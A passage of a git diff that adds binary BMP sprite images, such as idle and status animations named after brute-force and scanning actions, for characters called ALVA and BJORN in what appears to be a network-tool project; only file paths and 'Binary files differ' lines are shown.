a/resources/default_config/characters/ALVA/status/TelnetBruteforce/TelnetBruteforce.bmp b/resources/default_config/characters/ALVA/status/TelnetBruteforce/TelnetBruteforce.bmp new file mode 100644 index 0000000..ac1d6dc Binary files /dev/null and b/resources/default_config/characters/ALVA/status/TelnetBruteforce/TelnetBruteforce.bmp differ diff --git a/resources/default_config/characters/ALVA/status/TelnetBruteforce/TelnetBruteforce1.bmp b/resources/default_config/characters/ALVA/status/TelnetBruteforce/TelnetBruteforce1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/ALVA/status/TelnetBruteforce/TelnetBruteforce1.bmp differ diff --git a/resources/default_config/characters/ALVA/status/TestStandalone/TestStandalone.bmp b/resources/default_config/characters/ALVA/status/TestStandalone/TestStandalone.bmp new file mode 100644 index 0000000..f7317bb Binary files /dev/null and b/resources/default_config/characters/ALVA/status/TestStandalone/TestStandalone.bmp differ diff --git a/resources/default_config/characters/ALVA/status/TestStandalone/TestStandalone1.bmp b/resources/default_config/characters/ALVA/status/TestStandalone/TestStandalone1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/ALVA/status/TestStandalone/TestStandalone1.bmp differ diff --git a/resources/default_config/characters/BJORN/static/0.bmp b/resources/default_config/characters/BJORN/static/0.bmp new file mode 100644 index 0000000..8982328 Binary files /dev/null and b/resources/default_config/characters/BJORN/static/0.bmp differ diff --git a/resources/default_config/characters/BJORN/static/100.bmp b/resources/default_config/characters/BJORN/static/100.bmp new file mode 100644 index 0000000..4229b5b Binary files /dev/null and b/resources/default_config/characters/BJORN/static/100.bmp differ diff --git a/resources/default_config/characters/BJORN/static/25.bmp b/resources/default_config/characters/BJORN/static/25.bmp new file mode 100644 index 0000000..9b51eec Binary files /dev/null and b/resources/default_config/characters/BJORN/static/25.bmp differ diff --git a/resources/default_config/characters/BJORN/static/50.bmp b/resources/default_config/characters/BJORN/static/50.bmp new file mode 100644 index 0000000..dfffc4e Binary files /dev/null and b/resources/default_config/characters/BJORN/static/50.bmp differ diff --git a/resources/default_config/characters/BJORN/static/75.bmp b/resources/default_config/characters/BJORN/static/75.bmp new file mode 100644 index 0000000..86f4638 Binary files /dev/null and b/resources/default_config/characters/BJORN/static/75.bmp differ diff --git a/resources/default_config/characters/BJORN/static/AI.bmp b/resources/default_config/characters/BJORN/static/AI.bmp new file mode 100644 index 0000000..819dac8 Binary files /dev/null and b/resources/default_config/characters/BJORN/static/AI.bmp differ diff --git a/resources/default_config/characters/BJORN/static/attack.bmp b/resources/default_config/characters/BJORN/static/attack.bmp new file mode 100644 index 0000000..62ead1d Binary files /dev/null and b/resources/default_config/characters/BJORN/static/attack.bmp differ diff --git a/resources/default_config/characters/BJORN/static/attacks.bmp b/resources/default_config/characters/BJORN/static/attacks.bmp new file mode 100644 index 0000000..4a0a5be Binary files /dev/null and b/resources/default_config/characters/BJORN/static/attacks.bmp differ diff --git a/resources/default_config/characters/BJORN/static/auto.bmp b/resources/default_config/characters/BJORN/static/auto.bmp new file mode 100644 index 0000000..12b6f4f Binary files /dev/null and b/resources/default_config/characters/BJORN/static/auto.bmp differ diff --git a/resources/default_config/characters/BJORN/static/bjorn1.bmp b/resources/default_config/characters/BJORN/static/bjorn1.bmp new file mode 100644 index 0000000..1c81cf6 Binary files /dev/null and b/resources/default_config/characters/BJORN/static/bjorn1.bmp differ diff --git a/resources/default_config/characters/BJORN/static/bluetooth.bmp b/resources/default_config/characters/BJORN/static/bluetooth.bmp new file mode 100644 index 0000000..58e2079 Binary files /dev/null and b/resources/default_config/characters/BJORN/static/bluetooth.bmp differ diff --git a/resources/default_config/characters/BJORN/static/charging.bmp b/resources/default_config/characters/BJORN/static/charging.bmp new file mode 100644 index 0000000..5836eaf Binary files /dev/null and b/resources/default_config/characters/BJORN/static/charging.bmp differ diff --git a/resources/default_config/characters/BJORN/static/charging1.bmp b/resources/default_config/characters/BJORN/static/charging1.bmp new file mode 100644 index 0000000..4482007 Binary files /dev/null and b/resources/default_config/characters/BJORN/static/charging1.bmp differ diff --git a/resources/default_config/characters/BJORN/static/connected.bmp b/resources/default_config/characters/BJORN/static/connected.bmp new file mode 100644 index 0000000..25c82fb Binary files /dev/null and b/resources/default_config/characters/BJORN/static/connected.bmp differ diff --git a/resources/default_config/characters/BJORN/static/cred.bmp b/resources/default_config/characters/BJORN/static/cred.bmp new file mode 100644 index 0000000..47ea10c Binary files /dev/null and b/resources/default_config/characters/BJORN/static/cred.bmp differ diff --git a/resources/default_config/characters/BJORN/static/data.bmp b/resources/default_config/characters/BJORN/static/data.bmp new file mode 100644 index 0000000..f38e7d4 Binary files /dev/null and b/resources/default_config/characters/BJORN/static/data.bmp differ diff --git a/resources/default_config/characters/BJORN/static/ethernet.bmp b/resources/default_config/characters/BJORN/static/ethernet.bmp new file mode 100644 index 0000000..c5e20d8 Binary files /dev/null and b/resources/default_config/characters/BJORN/static/ethernet.bmp differ diff --git a/resources/default_config/characters/BJORN/static/frise.bmp b/resources/default_config/characters/BJORN/static/frise.bmp new file mode 100644 index 0000000..1729551 Binary files /dev/null and b/resources/default_config/characters/BJORN/static/frise.bmp differ diff --git a/resources/default_config/characters/BJORN/static/gold.bmp b/resources/default_config/characters/BJORN/static/gold.bmp new file mode 100644 index 0000000..c729f59 Binary files /dev/null and b/resources/default_config/characters/BJORN/static/gold.bmp differ diff --git a/resources/default_config/characters/BJORN/static/level.bmp b/resources/default_config/characters/BJORN/static/level.bmp new file mode 100644 index 0000000..42f2a68 Binary files /dev/null and b/resources/default_config/characters/BJORN/static/level.bmp differ diff --git a/resources/default_config/characters/BJORN/static/manual.bmp b/resources/default_config/characters/BJORN/static/manual.bmp new file mode 100644 index 0000000..0c1954d Binary files /dev/null and b/resources/default_config/characters/BJORN/static/manual.bmp differ diff --git a/resources/default_config/characters/BJORN/static/money.bmp b/resources/default_config/characters/BJORN/static/money.bmp new file mode 100644 index 0000000..cd3a033 Binary files /dev/null and b/resources/default_config/characters/BJORN/static/money.bmp differ diff --git a/resources/default_config/characters/BJORN/static/networkkb.bmp b/resources/default_config/characters/BJORN/static/networkkb.bmp new file mode 100644 index 0000000..967d706 Binary files /dev/null and b/resources/default_config/characters/BJORN/static/networkkb.bmp differ diff --git a/resources/default_config/characters/BJORN/static/port.bmp b/resources/default_config/characters/BJORN/static/port.bmp new file mode 100644 index 0000000..0917334 Binary files /dev/null and b/resources/default_config/characters/BJORN/static/port.bmp differ diff --git a/resources/default_config/characters/BJORN/static/target.bmp b/resources/default_config/characters/BJORN/static/target.bmp new file mode 100644 index 0000000..9808765 Binary files /dev/null and b/resources/default_config/characters/BJORN/static/target.bmp differ diff --git a/resources/default_config/characters/BJORN/static/usb.bmp b/resources/default_config/characters/BJORN/static/usb.bmp new file mode 100644 index 0000000..5a13b47 Binary files /dev/null and b/resources/default_config/characters/BJORN/static/usb.bmp differ diff --git a/resources/default_config/characters/BJORN/static/vuln.bmp b/resources/default_config/characters/BJORN/static/vuln.bmp new file mode 100644 index 0000000..b8547b5 Binary files /dev/null and b/resources/default_config/characters/BJORN/static/vuln.bmp differ diff --git a/resources/default_config/characters/BJORN/static/wifi.bmp b/resources/default_config/characters/BJORN/static/wifi.bmp new file mode 100644 index 0000000..eb95ff9 Binary files /dev/null and b/resources/default_config/characters/BJORN/static/wifi.bmp differ diff --git a/resources/default_config/characters/BJORN/static/zombie.bmp b/resources/default_config/characters/BJORN/static/zombie.bmp new file mode 100644 index 0000000..4dfb112 Binary files /dev/null and b/resources/default_config/characters/BJORN/static/zombie.bmp differ diff --git a/resources/default_config/characters/BJORN/status/BerserkerForce/BerserkerForce.bmp b/resources/default_config/characters/BJORN/status/BerserkerForce/BerserkerForce.bmp new file mode 100644 index 0000000..e8f452c Binary files /dev/null and b/resources/default_config/characters/BJORN/status/BerserkerForce/BerserkerForce.bmp differ diff --git a/resources/default_config/characters/BJORN/status/FTPBruteforce/FTPBruteforce.bmp b/resources/default_config/characters/BJORN/status/FTPBruteforce/FTPBruteforce.bmp new file mode 100644 index 0000000..26a80ce Binary files /dev/null and b/resources/default_config/characters/BJORN/status/FTPBruteforce/FTPBruteforce.bmp differ diff --git a/resources/default_config/characters/BJORN/status/FTPBruteforce/FTPBruteforce1.bmp b/resources/default_config/characters/BJORN/status/FTPBruteforce/FTPBruteforce1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/BJORN/status/FTPBruteforce/FTPBruteforce1.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE.bmp new file mode 100644 index 0000000..45583cb Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE1.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE1.bmp new file mode 100644 index 0000000..b1efac2 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE1.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE10.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE10.bmp new file mode 100644 index 0000000..5ccefe3 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE10.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE11.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE11.bmp new file mode 100644 index 0000000..1c81cf6 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE11.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE12.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE12.bmp new file mode 100644 index 0000000..9ba5270 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE12.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE13.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE13.bmp new file mode 100644 index 0000000..88ab0a7 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE13.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE14.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE14.bmp new file mode 100644 index 0000000..f60e0ce Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE14.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE15.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE15.bmp new file mode 100644 index 0000000..25f7a83 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE15.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE16.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE16.bmp new file mode 100644 index 0000000..5662c46 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE16.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE17.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE17.bmp new file mode 100644 index 0000000..99a3ded Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE17.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE18.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE18.bmp new file mode 100644 index 0000000..55a36b8 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE18.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE19.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE19.bmp new file mode 100644 index 0000000..1474fe0 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE19.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE2.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE2.bmp new file mode 100644 index 0000000..c495b5c Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE2.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE20.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE20.bmp new file mode 100644 index 0000000..182c193 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE20.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE21.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE21.bmp new file mode 100644 index 0000000..dbcade0 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE21.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE22.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE22.bmp new file mode 100644 index 0000000..c913142 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE22.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE23.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE23.bmp new file mode 100644 index 0000000..426af0b Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE23.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE24.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE24.bmp new file mode 100644 index 0000000..243844c Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE24.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE25.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE25.bmp new file mode 100644 index 0000000..3c7332d Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE25.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE26.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE26.bmp new file mode 100644 index 0000000..0e5d33d Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE26.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE27.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE27.bmp new file mode 100644 index 0000000..6c2dea8 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE27.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE28.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE28.bmp new file mode 100644 index 0000000..528a843 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE28.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE29.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE29.bmp new file mode 100644 index 0000000..dfe1ccb Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE29.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE3.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE3.bmp new file mode 100644 index 0000000..2ce8e31 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE3.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE30.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE30.bmp new file mode 100644 index 0000000..a72ca5d Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE30.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE31.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE31.bmp new file mode 100644 index 0000000..e061a54 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE31.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE32.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE32.bmp new file mode 100644 index 0000000..528a843 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE32.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE33.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE33.bmp new file mode 100644 index 0000000..fc14d11 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE33.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE34.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE34.bmp new file mode 100644 index 0000000..cc9a018 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE34.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE35.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE35.bmp new file mode 100644 index 0000000..6ac2bd2 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE35.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE4.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE4.bmp new file mode 100644 index 0000000..ba6c29a Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE4.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE5.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE5.bmp new file mode 100644 index 0000000..07383b8 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE5.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE6.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE6.bmp new file mode 100644 index 0000000..5183289 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE6.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE7.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE7.bmp new file mode 100644 index 0000000..8f2497e Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE7.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE8.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE8.bmp new file mode 100644 index 0000000..58842c4 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE8.bmp differ diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE9.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE9.bmp new file mode 100644 index 0000000..d379560 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/IDLE/IDLE9.bmp differ diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner.bmp new file mode 100644 index 0000000..45a466f Binary files /dev/null and b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner.bmp differ diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner1.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner1.bmp new file mode 100644 index 0000000..939dc2e Binary files /dev/null and b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner1.bmp differ diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner2.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner2.bmp new file mode 100644 index 0000000..1bed73c Binary files /dev/null and b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner2.bmp differ diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner3.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner3.bmp new file mode 100644 index 0000000..35cc8c5 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner3.bmp differ diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner4.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner4.bmp new file mode 100644 index 0000000..2883594 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner4.bmp differ diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner5.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner5.bmp new file mode 100644 index 0000000..2bd1847 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner5.bmp differ diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner6.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner6.bmp new file mode 100644 index 0000000..643b052 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner6.bmp differ diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner7.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner7.bmp new file mode 100644 index 0000000..2742da4 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner7.bmp differ diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner8.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner8.bmp new file mode 100644 index 0000000..eaa2472 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner8.bmp differ diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner.bmp new file mode 100644 index 0000000..dadf656 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner.bmp differ diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner1.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner1.bmp new file mode 100644 index 0000000..939dc2e Binary files /dev/null and b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner1.bmp differ diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner2.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner2.bmp new file mode 100644 index 0000000..1bed73c Binary files /dev/null and b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner2.bmp differ diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner3.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner3.bmp new file mode 100644 index 0000000..35cc8c5 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner3.bmp differ diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner4.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner4.bmp new file mode 100644 index 0000000..2883594 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner4.bmp differ diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner5.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner5.bmp new file mode 100644 index 0000000..2bd1847 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner5.bmp differ diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner6.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner6.bmp new file mode 100644 index 0000000..643b052 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner6.bmp differ diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner7.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner7.bmp new file mode 100644 index 0000000..2742da4 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner7.bmp differ diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner8.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner8.bmp new file mode 100644 index 0000000..eaa2472 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner8.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce.bmp new file mode 100644 index 0000000..f8a5393 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce1.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce1.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce10.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce10.bmp new file mode 100644 index 0000000..a6cd3fb Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce10.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce11.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce11.bmp new file mode 100644 index 0000000..9616013 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce11.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce12.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce12.bmp new file mode 100644 index 0000000..1848bb0 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce12.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce13.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce13.bmp new file mode 100644 index 0000000..a473218 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce13.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce2.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce2.bmp new file mode 100644 index 0000000..b68803a Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce2.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce3.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce3.bmp new file mode 100644 index 0000000..13eaf41 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce3.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce4.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce4.bmp new file mode 100644 index 0000000..580b967 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce4.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce5.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce5.bmp new file mode 100644 index 0000000..68fe849 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce5.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce6.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce6.bmp new file mode 100644 index 0000000..c7b26b5 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce6.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce7.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce7.bmp new file mode 100644 index 0000000..474c315 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce7.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce8.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce8.bmp new file mode 100644 index 0000000..353d54a Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce8.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce9.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce9.bmp new file mode 100644 index 0000000..33ab580 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce9.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SQLBruteforce/SQLBruteforce.bmp b/resources/default_config/characters/BJORN/status/SQLBruteforce/SQLBruteforce.bmp new file mode 100644 index 0000000..9db4d23 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SQLBruteforce/SQLBruteforce.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SQLBruteforce/SQLBruteforce1.bmp b/resources/default_config/characters/BJORN/status/SQLBruteforce/SQLBruteforce1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SQLBruteforce/SQLBruteforce1.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce.bmp new file mode 100644 index 0000000..606dc29 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce1.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce1.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce10.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce10.bmp new file mode 100644 index 0000000..c7b26b5 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce10.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce11.bmp 